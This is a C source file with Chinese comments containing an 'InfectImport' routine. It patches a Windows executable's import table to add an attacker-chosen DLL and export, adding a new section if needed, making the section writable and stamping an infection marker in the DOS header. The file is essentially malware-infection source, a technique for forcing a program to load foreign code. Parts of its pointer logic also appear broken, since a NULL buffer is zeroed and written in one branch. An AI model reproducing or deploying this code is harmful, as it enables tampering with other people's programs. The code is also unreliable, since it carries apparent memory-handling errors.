#include<Windows.h>
#include"Image.h"
#define INFECT_SIG ('PE')
BOOL InfectImport(
IN char* szImageFilePath,
IN char* szDllName,
IN char* szDllExportFunName
)
{
CImage Img;
BOOL bResult = FALSE;
DWORD dwIoCnt = 0;
TCHAR szErrMsg[1024] = { 0 };
PIMAGE_SECTION_HEADER pImpSecHeader, pNewSecHeader = NULL, pTargetSecHeader = NULL;
DWORD dwOldIIDCnt = 0, dwNewIIDCnt = 0;
DWORD dwOldIIDSize = 0, dwNewIIDSize = 0;
DWORD dwVAToStoreNewIID = 0;//新IID数组的存储位置
DWORD dwNewThunkDataSize = 0;//新IID项的ThunkData的大小
DWORD dwNewThunkDataVA = 0;//新IID项的ThunkData的存储位置
DWORD dwSizeNeed = 0;
DWORD dwThunkDataOffsetByIID = 0;
BOOL bUserNewSection = FALSE;//是否使用了新节
BOOL bPlaceThunkDataToOldIID = TRUE;
printf("[*] Path = %s\n", szImageFilePath);
//以读写方式打开目标文件
HANDLE hFile = CreateFileA(szImageFilePath,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
//解析PE结构
PBYTE pNotepad = Img.LoadImage(hFile, FALSE, 0, FALSE);
printf("[*] pImageBase = 0x%p\n", pNotepad);
if (pNotepad == NULL)
{
printf("[-] 加载PE文件失败! %s\n", Img.GetErrorMsg(szErrMsg, 1024));
return FALSE;
}
//检查是否被感染过
if (Img.m_pDosHeader->e_csum == INFECT_SIG)
{
printf("[-] 文件已经被感染过!\n");
return FALSE;
}
printf("[*] 当前导入表信息 VA = 0x%p Size = 0x%X\n", Img.m_pImpDataDir->VirtualAddress, Img.m_pImpDataDir->Size);
dwOldIIDSize = Img.m_pImpDataDir->Size;
//导入表总字节数除以导入表大小等于导入表个数
dwOldIIDCnt = Img.m_pImpDataDir->Size / sizeof(IMAGE_IMPORT_DESCRIPTOR);
dwNewIIDCnt = dwOldIIDCnt + 1;
//个数乘以表项大小得到表大小
dwNewIIDSize = dwNewIIDCnt * sizeof(IMAGE_IMPORT_DESCRIPTOR);
printf("[*] dwOldIIDCnt = %d Size = 0x%X\n", dwOldIIDCnt, dwOldIIDSize);
printf("[*] dwNewIIDCnt = %d Size = 0x%X\n", dwNewIIDCnt, dwNewIIDSize);
//所需大小是新导入表IID结构的大小
dwSizeNeed = dwNewIIDSize;
//得到目标文件导入表所在的节
pImpSecHeader = Img.LocateSectionByRVA(Img.m_pImpDataDir->VirtualAddress);
printf("[*] 导入表所在节 %s RawOffset = 0x%X Size=0x%X\n",
pImpSecHeader->Name,
pImpSecHeader->PointerToRawData,
pImpSecHeader->SizeOfRawData);
//得到节的物理空隙大小
DWORD dwPaddingSize = Img.GetSectionPhysialPaddingSize(pImpSecHeader);
/*DLL名称字符串大小 + 2个OriginalFirstThunk+2个FirstThunk+一个IMAGE_IMPORT_BY_NAME结构*/
dwNewThunkDataSize = strlen(szDllName) + 1 + sizeof(IMAGE_THUNK_DATA) * 4 + sizeof(WORD) + strlen(szDllExportFunName) + 1;
//大小对齐
dwNewThunkDataSize = ALIGN_SIZE_UP(dwNewThunkDataSize, sizeof(ULONG));
//判断原导入表位置能否写下新的ThunkData 注意:重要的是位置两个字(因为为了节省空间,可以在原导入表位置写入ThunkData,在节间隙或者扩展空间写入新的导入表)
if (dwNewThunkDataSize > dwOldIIDSize)
{
//原IID位置写不下,那么在寻找节间隙的时候就要把要写入的ThunkData的大小也加上
//按ULONG_PTR对齐之后再添加ThunkData,虽然不按这个对齐也可以
//ThunkData数据相对于IID的偏移等于新IID对齐后的大小
dwThunkDataOffsetByIID = ALIGN_SIZE_UP(dwNewIIDSize, sizeof(ULONG_PTR));
dwSizeNeed = dwThunkDataOffsetByIID + dwNewThunkDataSize;
//设置放不下的标志
bPlaceThunkDataToOldIID = FALSE;
}
printf("[*] 放置新导入表数据所需要的大小 = 0x%X\n", dwSizeNeed);
//如果导入表所在的节的物理间隙大于所需大小
if (dwPaddingSize >= dwSizeNeed)
{
printf("[*] 节空隙可以放下新的导入表,不需添加新节!\n");
//新添加的IID项的RVA
dwVAToStoreNewIID = pImpSecHeader->VirtualAddress + Img.GetAlignedSize(pImpSecHeader->Misc.VirtualSize, sizeof(DWORD));
pTargetSecHeader = pImpSecHeader;
}
else
{
printf("[-] 节空隙不能放下新的导入表,需要添加新节!\n");
//根据所需的空间大小添加一个新节
char NewSecName[] = ".Patch";
//在文件中添加一个新区块,并返回新区块的区块表项
pNewSecHeader = Img.AddNewSectionToFile(NewSecName, dwSizeNeed);
printf("[*] 新节添加完毕!VA=0x%X RawOffset = 0x%X RawSize = 0x%X\n",
pNewSecHeader->VirtualAddress,
pNewSecHeader->PointerToRawData,
pNewSecHeader->SizeOfRawData);
//存储新IID的RVA(在新添加的区块里的第0个字节添加IID)
dwVAToStoreNewIID = pNewSecHeader->VirtualAddress;
//储存新的区块表项
pTargetSecHeader = pNewSecHeader;
bUserNewSection = TRUE;
}
//保存原导入表
PIMAGE_IMPORT_DESCRIPTOR pOldImpDesp = Img.m_pImportDesp;
//在堆中申请一块需要大小的内存
PIMAGE_IMPORT_DESCRIPTOR pBuildNewImpDesp = (PIMAGE_IMPORT_DESCRIPTOR)malloc(dwSizeNeed);
//清零
ZeroMemory(pBuildNewImpDesp, dwSizeNeed);
//保存原来的导入表部分到新申请的内存中
memcpy(pBuildNewImpDesp, pOldImpDesp, dwOldIIDSize);
printf("[*] 原导入表IID结构保存完毕.\n");
//指向一个新添加的IID项,稍后填充
PIMAGE_IMPORT_DESCRIPTOR pNewImpEntry = pBuildNewImpDesp + dwOldIIDCnt - 1;
//需要注意的是,ThunkData在32位和64位下的长度是不一样的,所以这里定义为自适应的ULONG_PTR
PIMAGE_THUNK_DATA pOriginalFirstThunk = NULL;
//如果原来放置OldIID的地方能放得下新ThunkData数据
if (bPlaceThunkDataToOldIID)
{
//使用原IID的位置存放Thunk数据
//得到在新申请的内存中存放Thunk数据的首地址
pOriginalFirstThunk = (PIMAGE_THUNK_DATA)((PBYTE)pBuildNewImpDesp + dwThunkDataOffsetByIID);
//得到新ThunkData数据的RVA
dwNewThunkDataVA = dwVAToStoreNewIID + dwThunkDataOffsetByIID;//在IID数据后面
}
ZeroMemory(pOriginalFirstThunk, dwNewThunkDataSize);
//留出两项内容,第一项稍后填充,第二项填0作为结束标记
PIMAGE_THUNK_DATA pFirstThunk = pOriginalFirstThunk + 2;
//留出两项内容,第一项稍后填充,第二项填0作为结束标记,之后作为DLL名称
PCHAR pDllName = (PCHAR)(pFirstThunk + 2);
//保存dll名称
strcpy(pDllName, szDllName);
SIZE_T DllNameLen = strlen(szDllName);
//给最后一项填0做结尾
pDllName[DllNameLen] = 0;
//接下来作为一个PIMAGE_BY_NAME结构
PIMAGE_IMPORT_BY_NAME pImpName = (PIMAGE_IMPORT_BY_NAME)(pDllName + DllNameLen + 1);
//填充它
pImpName->Hint = 0;
strcpy((char*)pImpName->Name, szDllExportFunName);
printf("[*] 新导入表IID子结构完毕.\n");
//计算结束位置
PCHAR pEnd = (PCHAR)pImpName + sizeof(pImpName->Hint) + strlen((char*)pImpName) + 1;
//计算总占用的空间大小
DWORD dwNewIIDEntrySizeUsed = (DWORD)pEnd - (DWORD)pOriginalFirstThunk;
printf("[*] 新IID成员占用的空间大小 = 0x%X\n", dwNewIIDEntrySizeUsed);
//反过来填充OriginalFirstThunk和FirstThunk
//根据定义,OriginalFirst应指向IMAGE_IMPORT_BY_NAME结构的偏移
pOriginalFirstThunk[0].u1.AddressOfData = (dwNewThunkDataVA + ((PBYTE)pImpName - (PBYTE)pOriginalFirstThunk));
//相同序号的FirstThunk和pOrignalFirstThunk指向同一个位置
pFirstThunk[0].u1.AddressOfData = pOriginalFirstThunk[0].u1.AddressOfData;
//最后填充新的IID项,计算各项的RVA
pNewImpEntry->OriginalFirstThunk = dwNewThunkDataVA;
pNewImpEntry->Name = dwNewThunkDataVA + sizeof(IMAGE_THUNK_DATA) * 4;
pNewImpEntry->FirstThunk = dwNewThunkDataVA + sizeof(IMAGE_THUNK_DATA) * 2;
printf("[*] 新IID填充完毕.\n");
//更新PE头中的几个值
//新的导入表大小
Img.m_pImpDataDir->Size = dwNewIIDSize;
//新的导入表IID的起始偏移
Img.m_pImpDataDir->VirtualAddress = dwVAToStoreNewIID;
//如果导入表的节的空隙可以放下新的IID,那么原大小加上新需要的大小就是给该节添加新IID表项之后
//使用的实际大小了
if (!bUserNewSection)
{
pImpSecHeader->Misc.VirtualSize += dwSizeNeed;
}
//如果ThunkData放在了原IID的位置。需要设置节为可写的
//这里直接该为可写
pImpSecHeader->Characteristics |= IMAGE_SCN_MEM_WRITE;
//清空绑定输入表,强迫加载器重新加载IAT
Img.m_pOptHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;
Img.m_pOptHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0;
//设置感染标记
Img.m_pDosHeader->e_csum = INFECT_SIG;
printf("[*] PE头更新完毕.\n");
//写入文件
printf("[*] 开始保存文件.\n");
//开始保存内存中的修改内容到文件中
//先写入新的PE头
DWORD dwFileOffset = 0;
ULONG_PTR dwVAInMemory = 0;
SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
bResult = WriteFile(hFile, Img.m_hModule, Img.m_pOptHeader->SizeOfHeaders, &dwIoCnt, NULL);
if (!bResult)
{
Img.FormatErrorMsg(TEXT("[-] 写入文件失败!"), GetLastError());
return FALSE;
}
printf("[*] PE头写入完毕. Offset = 0x%X Size = 0x%x\n", dwFileOffset, dwIoCnt);
//写入新IID的子结构信息,位置在原导入表的开始处
//得到新的ThunkData的内存偏移
dwVAInMemory = dwNewThunkDataVA;
//通过内存偏移得到新ThunkData的文件偏移
dwFileOffset = Img.Rav2Raw(dwVAInMemory);
//设置文件指针为ThunkData的偏移位置
SetFilePointer(hFile, dwFileOffset, NULL, FILE_BEGIN);
//向文件写入ThunkData
bResult = WriteFile(hFile, pOriginalFirstThunk, dwNewIIDEntrySizeUsed, &dwIoCnt, NULL);
if (!bResult)
{
Img.FormatErrorMsg(TEXT("[-] 写入文件失败!"), GetLastError());
return FALSE;
}
printf("[*] 新IID项的子结构写入完毕. Offset = 0x%X Size = 0x%x\n", dwFileOffset, dwIoCnt);
//写入新的IID结构
//得到导入表的RVA
dwVAInMemory = (ULONG_PTR)Img.m_pImpDataDir->VirtualAddress;
//通过RVA得到文件偏移
dwFileOffset = Img.Rav2Raw(dwVAInMemory);
//设置文件指针
SetFilePointer(hFile, dwFileOffset, NULL, FILE_BEGIN);
//进行写入
bResult = WriteFile(hFile, pBuildNewImpDesp, dwNewIIDSize, &dwIoCnt, NULL);
if (!bResult)
{
Img.FormatErrorMsg(TEXT("[-] 写入文件失败!"), GetLastError());
return FALSE;
}
printf("[*] 新导入表整体写入完毕. Offset = 0x%X Size = 0x%x\n", dwFileOffset, dwIoCnt);
printf("[*] 导入表感染完毕.\n");
return TRUE;
}